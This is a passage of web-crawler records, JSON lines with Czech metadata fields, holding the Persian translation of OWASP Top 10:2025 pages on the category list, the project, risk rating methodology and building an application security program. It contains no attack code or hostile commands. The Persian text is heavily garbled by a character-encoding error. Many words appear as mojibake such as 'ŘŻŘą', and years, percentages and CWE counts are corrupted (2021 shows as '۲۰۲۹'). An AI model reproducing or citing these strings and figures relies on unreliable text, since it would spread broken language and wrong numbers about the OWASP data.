OWASP](0x01_2025-About_OWASP/)\n- [What are Application Security Risks?](0x02_2025-What_are_Application_Security_Risks/)\n- [Establishing a Modern Application Security Program](0x03_2025-Establishing_a_Modern_Application_Security_Program/)\n\n### Top 10:2025 List\n\n1. [A01:2025 - Broken Access Control](A01_2025-Broken_Access_Control/)\n2. [A02:2025 - Security Misconfiguration](A02_2025-Security_Misconfiguration/)\n3. [A03:2025 - Software Supply Chain Failures](A03_2025-Software_Supply_Chain_Failures/)\n4. [A04:2025 - Cryptographic Failures](A04_2025-Cryptographic_Failures/)\n5. [A05:2025 - Injection](A05_2025-Injection/)\n6. [A06:2025 - Insecure Design](A06_2025-Insecure_Design/)\n7. [A07:2025 - Authentication Failures](A07_2025-Authentication_Failures/)\n8. [A08:2025 - Software or Data Integrity Failures](A08_2025-Software_or_Data_Integrity_Failures/)\n9. [A09:2025 - Security Logging and Alerting Failures](A09_2025-Security_Logging_and_Alerting_Failures/)\n10. [A10:2025 - Mishandling of Exceptional Conditions](A10_2025-Mishandling_of_Exceptional_Conditions/)\n\n---\n\n**Note:** Translations will be added as they become available.", "znaku_textu": 1812, "slov": 190, "odkazu": 34, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:26", "sha256": "2c339abef6714ba414b71e502faaf51160212423517d6d65ad52c8e92cb2402d", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://github.com/OWASP/www-project-top-ten", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/fa/0x00_2025-Introduction/", "titulek": "Introduction - OWASP Top 10:2025", "h1": "به OWASP Security Top 10 – 2025 ؎وش آمدید!", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/fa/0x00_2025-Introduction/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "به OWASP Security Top 10 – 2025 ؎وش آمدید!"}, {"uroven": 2, "text": "معرفی OWASP Top 10:2025"}, {"uroven": 2, "text": "تغییرات Top 10 ŘŻŘą نسخه 2025"}, {"uroven": 3, "text": "نگاشت دسته‌ها"}, {"uroven": 2, "text": "متدولوژی (Methodology)"}, {"uroven": 3, "text": "نحوه استفاده از داده‌ها برای انتخاب دسته‌ها"}, {"uroven": 3, "text": "چرا از نظرسنجی جامعه استفاده می‌کنیم؟"}, {"uroven": 2, "text": "قدردانی از تمامی مشارکت‌کنندگان"}, {"uroven": 2, "text": "نویسندگان اصلی"}, {"uroven": 2, "text": "لینک‌های پروژه"}], "markdown": "# به OWASP Security Top 10 – 2025 ؎وش آمدید!\n\nاز همه‌ی دوستانی که ŘŻŘą نظرسنجی مشارکت کردند و داده‌ها و دیدگاه‌های ارزشمندشان عا ŘŻŘą اختیار ما گذاشتند، صمیمانه ŘŞŘ´ÚŠŘą می‌کنیم. بدون ح؜وع و همراهی شما، تهیه‌ی این نسخه ممکن نبود. قدردان‌تان هستیم.\n\n---\n\n## معرفی OWASP Top 10:2025\n\n- **A01:2025 - Broken Access Control**\n- **A02:2025 - Security Misconfiguration**\n- **A03:2025 - Software Supply Chain Failures**\n- **A04:2025 - Cryptographic Failures**\n- **A05:2025 - Injection**\n- **A06:2025 - Insecure Design**\n- **A07:2025 - Authentication Failures**\n- **A08:2025 - Software or Data Integrity Failures**\n- **A09:2025 - Logging & Alerting Failures**\n- **A10:2025 - Mishandling of Exceptional Conditions**\n\n---\n\n## تغییرات Top 10 ŘŻŘą نسخه 2025\n\nŘŻŘą نسخه 2025 دو دسته جدید اضافه شده و یک مورد نیز ادغام شده است.\n\nتلاش شده تمرکز بع ریشه‌های اصلی آسیب‌پذیری‌ها حفظ شود. ایجاد ده دسته کاملاً مجزا و بدون همپوشانی عملاً غیرممکن است.\n\n### نگاشت دسته‌ها\n\n- **A01:2025 Broken Access Control**\n\n جایگاه نخست، جدی‌ترین ریسک امنیتی. میانگین Űł.ۡ۳٪ برنامه‌ها شامل یکی از ۴۰ CWE مرتبط. SSRF نیز ŘŻŘą این دسته ادغام شده است.\n- **A02:2025 Security Misconfiguration**\n\n از رتبه Űľ (۲۰۲۹) به رتبه ۲ (۲۰۲۾) ؾؚود کرده است. ۳٪ برنامه‌ها دست‌کم یکی از ۹ۜ CWE این دسته عا دارند.\n- **A03:2025 Software Supply Chain Failures**\n\n توسعه‌یافته از A06:2021. دامنه گسترده ضعف‌ها ŘŻŘą اکوسیستم وابستگی‌های نرم‌افزار. اثرگذاری بالا با تؚداد CWE کم.\n- **A04:2025 Cryptographic Failures**\n\n از رتبه ۲ به Ű´ سقوط کرده است. Űł.۸٪ برنامه‌ها حداقل یکی از ۳۲ CWE مرتبط عا دارند. معمولاً منجر به افشای داده‌های حساس یا نفوذ می‌شود.\n- **A05:2025 Injection**\n\n دو رتبه کاهش، جایگاه پنجم. شامل Cross-Site Scripting و SQL Injection. XSS شیوع بیشتر، SQL Injection اثرگذاری بالاتر.\n- **A06:2025 Insecure Design**\n\n از رتبه Ű´ به Űś کاهش. از سال ۲۰۲۹ معرفی شده، تمرکز بع مدل‌سازی تهدید و طراحی امن.\n- **A07:2025 Authentication Failures**\n\n جایگاه هفتم، نام به‌روزرسانی جزئی. شامل ۳ۜ CWE. فریم‌ورک‌های استاندارد باؚ؍ کاهش خطاها شده‌اند.\n- **A08:2025 Software or Data Integrity Failures**\n\n رتبه هشتم، تمرکز بع مرزهای اعتماد و اعتبارسنجی نرم‌افزار، ÚŠŘŻ و داده‌ها.\n- **A09:2025 Logging & Alerting Failures**\n\n جایگاه نهم، نام به‌روزرسانی جزئی برای تأکید بع اهمیت هشداردهی.\n- **A10:2025 Mishandling of Exceptional Conditions**\n\n جدید، شامل ۲۴ CWE، تمرکز بع مدیریت نادرست خطاها، خطاهای منطقی و شرایط غیرعادی سیستم.\n\n---\n\n## متدولوژی (Methodology)\n\nنسخه جدید OWASP Top 10 هنوز بع داده‌ها تکیه دارد، اما نه صرفاً عددمحور.\n\n۹۲ دسته بع اساس داده‌های جمع‌آوری‌شده رتبه‌بندی شدند و دو دسته بع اساس نتایج نظرسنجی جامعه برجسته شدند.\n\n### نحوه استفاده از داده‌ها برای انتخاب دسته‌ها\n\n- داده‌های CVE برای سنجش Exploitability و Technical Impact استفاده شدند.\n- ابزاع OWASP Dependency Check امتیازهای CVSS مرتبط عا است؎عا؏ و بع اساس CWE گروه‌بندی کرده است.\n- CVEها دارای CVSSv2 و برخی CVSSv3 و CVSSv4 هستند. میانگین Exploit و Impact بع اساس گروه‌بندی CWEها و وزن‌دهی نسخه‌ها محاسبه شده است.\n\n### چرا از نظرسنجی جامعه استفاده می‌کنیم؟\n\n- داده‌ها محدود به مواردی هستند که ابزارهای ؎ودڊاع می‌توانند آزمایش کنند.\n- برخی ریسک‌ها هنوز ŘŻŘą داده‌ها قابل مشاهده نیستند.\n- تنها ۸ دسته بع اساس داده‌ها انتخاب شدند، ۲ دسته دیگر از طریق نظرسنجی جامعه تعیین شدند.\n\n---\n\n## قدردانی از تمامی مشارکت‌کنندگان\n\nسازمان‌های زیر (و چندین اهداکننده ناشناس) داده‌های بیش از ۲.۸ میلیون برنامه عا ارائه کردند:\n\n- Accenture (Prague)\n- Anonymous (multiple)\n- Bugcrowd\n- Contrast Security\n- CyptoNet Labs\n- Intuitor SoftTech Services\n- Orca Security\n- Probley\n- Semgrep\n- Sonar\n- usd AG\n- Veracode\n- Wallarm\n\n---\n\n## نویسندگان اصلی\n\n- Andrew van der Stock — X: @vanderaj\n- Brian Glas — X: @infosecdad\n- Neil Smithline — X: @appsecneil\n- Tanya Janca — X: @shehackspurple\n- Torsten Gigler — Mastodon: @ [[email protected]](/cdn-cgi/l/email-protection)\n\nنسخه کاندید انتشار (Release Candidate) ŘŻŘą تاریخ Űś نوامبر ۲۰۲۾ منتشر Ř´ŘŻ.\n\n---\n\n## لینک‌های پروژه\n\n- [Homepage](https://owasp.org/)\n- [GitHub Repository](https://github.com/OWASP)", "znaku_textu": 5512, "slov": 649, "odkazu": 40, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:44", "sha256": "0eb47fe2c006af32a12cc612da145b3ec4c2d67021169f448c4bb23d99161612", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://github.com/OWASP", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/fa/0x01_2025-About_OWASP/", "titulek": "About OWASP - OWASP Top 10:2025", "h1": "پروژه OWASP", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/fa/0x01_2025-About_OWASP/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "پروژه OWASP"}, {"uroven": 2, "text": "حق نشر و مجوز"}], "markdown": "# پروژه OWASP\n\nپروژه **Open Worldwide Application Security Project (OWASP)** یک پروژه جهانی مبتنی بع مشارکت آزاد است که هدف آن توانمندسازی سازمان‌ها برای توسعه، خرید و نگه‌داری برنامه‌ها و APIهایی قابل اطمینان است.\n\nŘŻŘą OWASP می‌توانید به مجموعه‌ای از منابع رایگان و متن‌باز دسترسی داشته باشید، از جمله:\n\n- ابزارها و استانداردهای امنیت برنامه\n- پژوهش‌های پیشرفته\n- کنترل‌ها و کتابخانه‌های استاندارد امنیتی\n- کتاب‌های کامل ŘŻŘą زمینه تست امنیت، توسعه امن و بازبینی ÚŠŘŻ\n- ارائه‌ها و ویدئوها\n- Cheat Sheets برای بسیاری از موضوعات رایج\n- جلسات Chapters ŘŻŘą سعاسع جهان و به‌صورت آنلاین\n- رویدادها، آموزش‌ها و کنفرانس‌ها\n- Google Groups\n\nبرای اطلاعات بیشتر به [OWASP.org](https://owasp.org) مراجعه کنید.\n\n---\n\nتمام ابزارها، اسناد، ویدئوها، ارائه‌ها و بخش‌های مختلف OWASP رایگان بوده و برای همه علاقه‌مندان به امنیت ŘŻŘą دستعس است.\n\nOWASP امنیت برنامه عا یک مسئله انسانی، فرایندی و تکنولوژیک می‌داند؛ زیرا مؤثرترین راه‌حل‌ها نیازمند بهبود همزمان هر سه حوزه هستند.\n\nOWASP یک سازمان متفاوت است؛ نبود فشارهای تجاری این امکان عا فراهم می‌کند که اطلاعات کاربردی، بی‌طرفانه و مقرون‌به‌صرفه درباره امنیت برنامه ارائه دهد.\n\nاین سازمان وابسته به هیچ Ř´ŘąÚŠŘŞ فناوری نیست، گرچه از استفاده آگاهانه از فناوری‌های امنیتی تجاری پشتیبانی می‌کند.\n\nتولید محتوای OWASP به‌صورت **مشارکتی، شفاف و باز** انجام می‌شود. بنیاد OWASP نهاد **غیرانتفاعی** پشتیبان پروژه است که موفقیت بلندمدت آن عا تضمین می‌کند. تقریباً همه افعاد فعال ŘŻŘą OWASP داوطلب هستند؛ از جمله:\n\n- هیئت‌مدیره\n- رهبران چپترها\n- مدیران پروژه‌ها\n- اعضای پروژه\n\nاین بنیاد با اعطای کمک‌هزینه و ارائه زیرساخت، از پژوهش‌های نوآورانه ŘŻŘą حوزه امنیت پشتیبانی می‌کند.\n **به ما بپیوندید!**\n\n---\n\n## حق نشر و مجوز\n\n- **Copyright Š 2003–2025 The OWASPÂŽ Foundation, Inc.**\n- این سند ŘŞŘ­ŘŞ مجوز **Creative Commons Attribution Share-Alike 4.0** منتشر شده است.\n- برای هرگونه استفاده یا توزیع مجدد، لازم است شرایط این مجوز عا به روشنی برای دیگران توضیح دهید.", "znaku_textu": 3088, "slov": 352, "odkazu": 30, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:45", "sha256": "7edae741db2780a89d20700c3aba1ece8684493c6d0d4dcbfeb293aa2438a607", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/fa/0x02_2025-What_are_Application_Security_Risks/", "titulek": "What are Application Security Risks? - OWASP Top 10:2025", "h1": "ریسک‌های امنیت برنامه (Application Security Risks)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/fa/0x02_2025-What_are_Application_Security_Risks/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "ریسک‌های امنیت برنامه (Application Security Risks)"}, {"uroven": 2, "text": "تصویر شماره 1"}, {"uroven": 2, "text": "نحوه ارزیابی ریسک"}, {"uroven": 2, "text": "نحوه استفاده از داده‌ها برای انتخاب دسته‌ها و رتبه‌بندی"}, {"uroven": 3, "text": "نکات مهم ŘŻŘą تحلیل داده‌ها"}, {"uroven": 3, "text": "چرا از CVSSv4 استفاده نکردیم؟"}, {"uroven": 2, "text": "پارامترهای داده‌ای برای هر دسته"}, {"uroven": 2, "text": "فرمول امتیاز ریسک"}], "markdown": "# ریسک‌های امنیت برنامه (Application Security Risks)\n\nهکرها می‌توانند از مسیرهای مختلف به برنامه شما نفوذ کنند و به کسب‌وکار یا سازمان آسیب برسانند. هر مسیر بالقوه یک ریسک محسوب می‌شود و باید به دقت بررسی شود.\n\n---\n\n## تصویر شماره 1\n\n| Business Impacts | Technical Impacts | Likelihood of Missing Security Controls | Exploitability | Attack / Vectors | Threat Agents |\n| --- | --- | --- | --- | --- | --- |\n| By Business | Avg Weighted Impact | Missing Controls \\ by average Incidence rate \\ Weighed by coverage | Avg Weighted Exploit | By Application exposure (by environment) | By environment, dynamic by situation picture |\n\n---\n\n## نحوه ارزیابی ریسک\n\nŘŻŘą ارزیابی ریسک، پارامترهای جهانی مانند:\n\n- قابلیت بهره‌برداری ( **Exploitability** )\n- میانگین احتمال نبود کنترل‌های امنیتی برای یک ؜ؚف\n- تأثیرات فنی آن\n\nŘŻŘą نظر گرفته می‌شوند.\n\nهر سازمان منحصربه‌فرد است و بازیگران تهدید، اهداف و تأثیر هر نفوذ برای آن سازمان نیز متفاوت است.\n\nبرای مثال:\n\n- یک سازمان عمومی از یک سیستم مدیریت محتوا (CMS) برای اطلاعات عمومی استفاده می‌کند.\n- یک سیستم بهداشتی همان CMS عا برای نگهداری سوابق حساس بیماران به‌کار می‌برد.\n\nبازیگران تهدید و تأثیر تجاری هر دو سازمان می‌تواند بسیار متفاوت باشد.\n\nبنابراین، ŘŻŘąÚŠ ریسک برای سازمان شما بع اساس:\n\n- میزان ŘŻŘą معرض بودن برنامه\n- تهدیدهای مرتبط ŘŻŘą شرایط مختلف (هدفمند یا غیرهدفمند)\n- تأثیرات ؎اؾ کسب‌وکار\n\nامری حیاتی است.\n\n---\n\n## نحوه استفاده از داده‌ها برای انتخاب دسته‌ها و رتبه‌بندی\n\n- ŘŻŘą سال ۲۰۱۷، دسته‌ها بع اساس **نرخ وقوع** برای تعیین احتمال انتخاب شدند و سٞس با بح؍ تیمی و تجربه دهه‌ها، بع اساس **قابلیت بهره‌برداری، قابلیت شناسایی و تأثیر فنی** رتبه‌بندی شدند.\n- ŘŻŘą نسخه ۲۰۲۱، داده‌های **CVSSv2 و CVSSv3** ŘŻŘą پایگاه ملی آسیب‌پذیری‌ها (NVD) برای قابلیت بهره‌برداری و تأثیر فنی استفاده Ř´ŘŻ.\n- ŘŻŘą نسخه ۲۰۲۵، همان روش‌شناسی ادامه یافته است.\n\nتیم OWASP با استفاده از ابزاع [OWASP Dependency Check](https://owasp.org/www-project-dependency-check/) امتیازهای CVSS مربوط به **Exploit** و **Impact** عا است؎عا؏ و بع اساس CWEهای مرتبط گروه‌بندی کرده است.\n\n---\n\n### نکات مهم ŘŻŘą تحلیل داده‌ها\n\n- تمام CVEها دارای امتیاز **CVSSv2** هستند، اما CVSSv2 محدودیت‌هایی داعد که **CVSSv3** آن‌ها عا اصلاح می‌کند.\n- حدود ۹ۡ۾ هزار عڊوعد CVE به CWEها نگاشت شده است (افزایش از ۹۲۾ هزار ŘŻŘą ۲۰۲۹).\n- ۜ۴۳ CWE منحصر‌به‌فرد به CVEها مرتبط هستند (افزایش از ۲۴۹ ŘŻŘą ۲۰۲۹).\n- از تقریباً ۲۲۰ هزار CVE استخراج‌شده:\n- ۹ۜ۰ هزار دارای CVSSv2\n- ۹۾ۜ هزار دارای CVSSv3\n- Űś هزار دارای CVSSv4\n- بسیاری از CVEها چند امتیاز دارند، بنابراین مجموع بیشتر از ۲۲۰ هزار است.\n- میانگین امتیاز **Exploit** و **Impact** ابتدا بع اساس CWE گروه‌بندی و سٞس با وزن‌دهی ترکیب Ř´ŘŻ.\n\n---\n\n### چرا از CVSSv4 استفاده نکردیم؟\n\n- الگوریتم امتیازدهی CVSSv4 به‌طور بنیادی تغییر کرده است و دیگر به آسانی امتیاز Exploit یا Impact مانند نسخه‌های v2 و v3 ارائه نمی‌کند.\n- OWASP تلاش خواهد ڊعد ŘŻŘą نسخه‌های آینده راهی برای استفاده از CVSSv4 بیابد، اما برای نسخه ۲۰۲۾ زمان مناسبی نبود.\n\n---\n\n## پارامترهای داده‌ای برای هر دسته\n\n- **CWEs Mapped** : تؚداد CWEهای نگاشت‌شده به یک دسته\n- **Incidence Rate** : دعؾد برنامه‌های آسیب‌پذیر به هر CWE\n- **Weighted Exploit** : امتیاز Exploit نرمال‌شده از CVSSv2 و v3\n- **Weighted Impact** : امتیاز Impact نرمال‌شده از CVSSv2 و v3\n- **Testing Coverage** : دعؾد برنامه‌های بررسی‌شده برای یک CWE\n- **Total Occurrences** : تؚداد کل برنامه‌هایی که CWEهای یک دسته عا دارند\n- **Total CVEs** : تؚداد کل CVEهای نگاشت‌شده به CWEهای یک دسته\n\n---\n\n## فرمول امتیاز ریسک", "znaku_textu": 5004, "slov": 605, "odkazu": 36, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:46", "sha256": "055832afeace8297b80bc0f1611274414c3adf60b2659ac796fcccdd70187811", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/fa/0x03_2025-Establishing_a_Modern_Application_Security_Program/", "titulek": "Establishing a Modern Application Security Program - OWASP Top 10:2025", "h1": "ایجاد یک برنامه امنیت برنامه مدرن (Establishing a Modern Application Security Program)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/fa/0x03_2025-Establishing_a_Modern_Application_Security_Program/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "ایجاد یک برنامه امنیت برنامه مدرن (Establishing a Modern Application Security Program)"}, {"uroven": 2, "text": "ارزیابی بلوغ موجود"}, {"uroven": 2, "text": "1. ات؎اذ رویکرد مبتنی بع پرتفوی ریسک (Risk-Based Portfolio Approach)"}, {"uroven": 2, "text": "2. ایجاد پایه قوی (Enable with a Strong Foundation)"}, {"uroven": 2, "text": "3. ادغام امنیت ŘŻŘą فرایندهای موجود (Integrate Security into Existing Processes)"}, {"uroven": 2, "text": "4. آموزش امنیت برنامه (Application Security Education)"}, {"uroven": 2, "text": "5. فراهم کردن دید مدیریتی (Provide Management Visibility)"}, {"uroven": 2, "text": "ایجاد و استفاده از فرآیندهای امنیتی تکرارشونده و کنترل‌های استاندارد"}, {"uroven": 3, "text": "مرحله مدیریت نیازمندی‌ها و منابع (Requirements and Resource Management Phase)"}, {"uroven": 3, "text": "دع؎واست پیشنهادات (RFP) و قراردادها"}, {"uroven": 3, "text": "مرحله برنامه‌ریزی و طراحی (Planning and Design Phase)"}, {"uroven": 3, "text": "چرخه توسعه امن (Secure Development Lifecycle)"}, {"uroven": 3, "text": "ایجاد تست امنیتی مداوم (Continuous Application Security Testing)"}, {"uroven": 3, "text": "راه‌اندازی برنامه (Rollout)"}, {"uroven": 3, "text": "عملیات و مدیریت تغییر (Operations and Change Management)"}, {"uroven": 3, "text": "بازنشستگی سیستم‌ها (Retiring Systems)"}, {"uroven": 2, "text": "استفاده از OWASP Top 10 به‌عنوان استاندارد"}], "markdown": "# ایجاد یک برنامه امنیت برنامه مدرن (Establishing a Modern Application Security Program)\n\nلیست‌های OWASP Top Ten اسناد آگاهی‌بخشی هستند که هدفشان جلب توجه به مهم‌ترین ریسک‌ها ŘŻŘą حوزه امنیت برنامه است. این لیست‌ها فهرست کامل نیستند و صرفاً نقطه شعوؚ محسوب می‌شوند. نسخه‌های قبلی نشان داده‌اند که شعوؚ یک برنامه امنیت برنامه بهترین راه برای کاهش این ریسک‌ها و دیگر ؎ءعات مرتبط است.\n\nŘŻŘą این بخش، نحوه شعوؚ و سا؎ت یک برنامه امنیت برنامه مدرن توضیح داده می‌شود.\n\n---\n\n## ارزیابی بلوغ موجود\n\nاگع از قبل برنامه امنیت برنامه دارید، می‌توانید با استفاده از:\n\n- [OWASP SAMM (Software Assurance Maturity Model)](https://owasp.org/www-project-samm/)\n- [DSOMM (DevSecOps Maturity Model)](https://owasp.org/www-project-devsecops-maturity-model/)\n\nبلوغ برنامه ؎ود عا ارزیابی کنید. این مدل‌ها جامع هستند و به شما کمک می‌کنند تمرکز ؎ود عا برای توسعه و بلوغ برنامه مشخص کنید. توجه داشته باشید که اجرای تمام موارد SAMM یا DSOMM لازم نیست؛ این مدل‌ها صرفاً راهنما هستند و گزینه‌های متعددی ارائه می‌دهند.\n\nاگع برنامه امنیت عا از ؾفع شعوؚ می‌کنید یا SAMM/DSOMM فعلاً برای تیم شما سنگین هستند، توصیه‌های زیر عا دنبال کنید:\n\n---\n\n## 1. ات؎اذ رویکرد مبتنی بع پرتفوی ریسک (Risk-Based Portfolio Approach)\n\n- شناسایی نیازهای حفاظتی برنامه‌ها از منظر کسب‌وکار، با توجه به قوانین حفظ حریم خصوصی و مقررات داده‌ها.\n- ایجاد مدل ارزیابی ریسک مشترک با مجموعه‌ای ؍ابت از عوامل احتمال و تأثیر که بازتاب‌دهنده میزان تحمل ریسک سازمان باشد.\n- اندازه‌گیری و اولویت‌بندی تمام برنامه‌ها و APIها و افزودن نتایج به **Configuration Management Database (CMDB)** .\n- تعیین دستورالعمل‌های اطمینان ( **Assurance Guidelines** ) برای تعریف ٞوشش و سءح سخت‌گیری لازم.\n\n---\n\n## 2. ایجاد پایه قوی (Enable with a Strong Foundation)\n\n- تدوین سیاست‌ها و استانداردهای متمرکز برای ایجاد ؎ء پایهٔ امنیت برنامه برای تیم‌های توسعه.\n- تعریف کنترل‌های امنیتی قابل استفاده مجدد که این سیاست‌ها عا تکمیل کرده و راهنمای طراحی و توسعه ارائه دهند.\n- ایجاد برنامه‌های آموزشی امنیت برنامه برای نقش‌های مختلف توسعه و موضوعات مرتبط.\n\n---\n\n## 3. ادغام امنیت ŘŻŘą فرایندهای موجود (Integrate Security into Existing Processes)\n\n- تعریف و ادغام فعالیت‌های امنیتی ŘŻŘą فرایندهای توسعه و عملیاتی موجود.\n- فعالیت‌ها شامل: مدل‌سازی تهدید، طراحی امن، بازبینی طراحی، برنامه‌نویسی امن، بازبینی کد، تست نفوذ و عفؚ آسیب‌پذیری.\n- ارائه کارشناسان موضوعی و خدمات پشتیبانی برای موفقیت تیم‌های توسعه و پروژه.\n- مرور چرخه حیات توسعه سیستم فعلی و تمام فعالیت‌ها، ابزارها، سیاست‌ها و مستندسازی آن‌ها.\n- برای نرم‌افزار جدید، یک یا چند فعالیت امنیتی به هر فاز **SDLC** اضافه کنید.\n- برای نرم‌افزار موجود (Legacy)، برنامه نگهداری رسمی داشته باشید.\n\n---\n\n## 4. آموزش امنیت برنامه (Application Security Education)\n\n- راه‌اندازی برنامه **Security Champion** یا آموزش عمومی امنیت برای توسعه‌دهندگان جهت آگاهی کامل از ریسک‌ها.\n- OWASP از طریق [OWASP Security Champions Guide](https://owasp.org/www-project-security-champions/) پشتیبانی می‌کند.\n- پروژه [OWASP Education Project](https://owasp.org/www-project-education/) منابع آموزشی ارائه می‌دهد.\n- پروژه‌های عملی:\n- [OWASP Juice Shop](https://owasp.org/www-project-juice-shop/)\n- [OWASP WebGoat](https://owasp.org/www-project-webgoat/)\n- Ř´ŘąÚŠŘŞ ŘŻŘą کنفرانس‌ها و آموزش‌های OWASP:\n- [OWASP AppSec Conference](https://owasp.org/events/)\n- [OWASP Conference Training](https://owasp.org/events/)\n- [OWASP Chapter Meetings](https://owasp.org/chapters/)\n\n---\n\n## 5. فراهم کردن دید مدیریتی (Provide Management Visibility)\n\n- ارائه **Metrics** برای تصمیم‌گیری‌های بهبود و تخصیص بودجه بع اساس داده‌ها و تحلیل‌ها.\n- معیارها شامل رعایت فرآیندهای امنیتی، آسیب‌پذیری‌های ایجاد و عفؚ شده، ٞوشش برنامه‌ها، چگالی خطاها و تؚداد نمونه‌ها هستند.\n- تحلیل داده‌ها برای شناسایی ریشه‌های آسیب‌پذیری و بهبود راهبردی ŘŻŘą سازمان.\n- یادگیری از اشتباهات و ارائه مشوق‌های مثبت برای بهبود مستمر.\n\n---\n\n## ایجاد و استفاده از فرآیندهای امنیتی تکرارشونده و کنترل‌های استاندارد\n\n### مرحله مدیریت نیازمندی‌ها و منابع (Requirements and Resource Management Phase)\n\n- جمع‌آوری و مذاکره نیازمندی‌های کسب‌وکار، شامل حفاظت از حریم خصوصی، اصالت، یکپارچگی و دسترسی دارایی‌ها.\n- تدوین نیازمندی‌های فنی شامل امنیت عملکردی و غیرعملکردی، با استفاده از [OWASP ASVS](https://owasp.org/www-project-application-security-verification-standard/) به‌عنوان راهنما.\n- برنامه‌ریزی و مذاکره بودجه که تمام مراحل طراحی، ساخت، تست و عملیات امنیتی عا ٞوشش دهد.\n- افزودن فعالیت‌های امنیتی به برنامه زمانی پروژه.\n- معرفی ؎ود به عنوان نماینده امنیت ŘŻŘą آغاز پروژه.\n\n### دع؎واست پیشنهادات (RFP) و قراردادها\n\n- مذاکره نیازمندی‌ها با توسعه‌دهندگان داخلی یا خارجی، شامل SDLC و بهترین شیوه‌های امنیتی.\n- ارزیابی تحقق نیازمندی‌های فنی ŘŻŘą فاز برنامه‌ریزی و طراحی.\n- استفاده از قالب‌ها و چک‌لیست‌ها، مانند **OWASP Secure Software Contract Annex** .\n- توجه: این پیوست بعاساس قوانین قرارداد آمریکا است؛ پیش از استفاده، مشاوره حقوقی دریافت کنید.\n\n### مرحله برنامه‌ریزی و طراحی (Planning and Design Phase)\n\n- مذاکره برنامه‌ریزی و طراحی با توسعه‌دهندگان و سهامداران، مانند متخصصین امنیت.\n- تعریف معماری امنیت، کنترل‌ها، اقدامات متقابل و بازبینی طراحی با پشتیبانی متخصصین.\n- طراحی امنیت از ابتدا بسیار به‌صرفه‌تر است؛ از [OWASP Cheat Sheets](https://cheatsheetseries.owasp.org/) و [OWASP Proactive Controls](https://owasp.org/www-project-proactive-controls/) به‌عنوان نقطه شعوؚ استفاده کنید.\n- انجا٠**مدل‌سازی تهدید (Threat Modeling)** .\n- آموزش مفاهیم و الگوهای طراحی امن به معماران نرم‌افزار.\n- بررسی جریان‌های داده با توسعه‌دهندگان.\n- افزودن **Security User Stories** همراه با دیگر User Stories.\n\n### چرخه توسعه امن (Secure Development Lifecycle)\n\n- استفاده از [OWASP SAMM](https://owasp.org/www-project-samm/) برای بهبود فرآیند سازمان ŘŻŘą سا؎ت برنامه‌ها و APIها.\n- آموزش کدنویسی امن و ارائه ابزارهای امنیتی به توسعه‌دهندگان:\n- Static Analysis\n- Software Composition Analysis\n- Secret Management\n- IaC Scanners\n- ایجاد Guardrails برای تصمیم‌گیری امن، تنظیمات پیش‌فرض امن و ایجاد Paved Roads.\n- بهره‌گیری از OWASP Cheat Sheets و کنترل‌های امنیتی استاندارد ŘŻŘą فریم‌ورک‌های مدرن.\n- ارائه پلاگین‌های امنیتی IDE و ابزارهای مدیریت Secret و مستندات.\n- ارائه AI خصوصی با سعوع RAG برای فراخوانی ابزارهای امنیتی سازمان و آموزش استفاده ایمن از آن.\n\n### ایجاد تست امنیتی مداوم (Continuous Application Security Testing)\n\n- تست عملکردهای فنی و یکپارچگی با معماری IT.\n- ایجاد **test cases** از دیدگاه فنی و کسب‌وکار.\n- مدیریت تست‌ها طبق فرآیندهای داخلی، نیازمندی‌های حفاظتی و سءح تهدید.\n- ارائه ابزارهای تست امنیتی (Fuzzers، DAST و غیره) و آموزش نحوه استفاده از آن‌ها.\n- ŘŻŘą ؾوعت نیاز، انجام penetration test رسمی و تست‌های استعس و عملکرد.\n- همکاری با توسعه‌دهندگان برای عفؚ مشکلات گزارش‌شده.\n\n### راه‌اندازی برنامه (Rollout)\n\n- قرار دادن برنامه ŘŻŘą عملیات و مهاجرت از برنامه‌های قبلی ŘŻŘą ؾوعت نیاز.\n- نهایی‌سازی مستندات شامل CMDB و معماری امنیت.\n\n### عملیات و مدیریت تغییر (Operations and Change Management)\n\n- ارائه دستورالعمل‌های 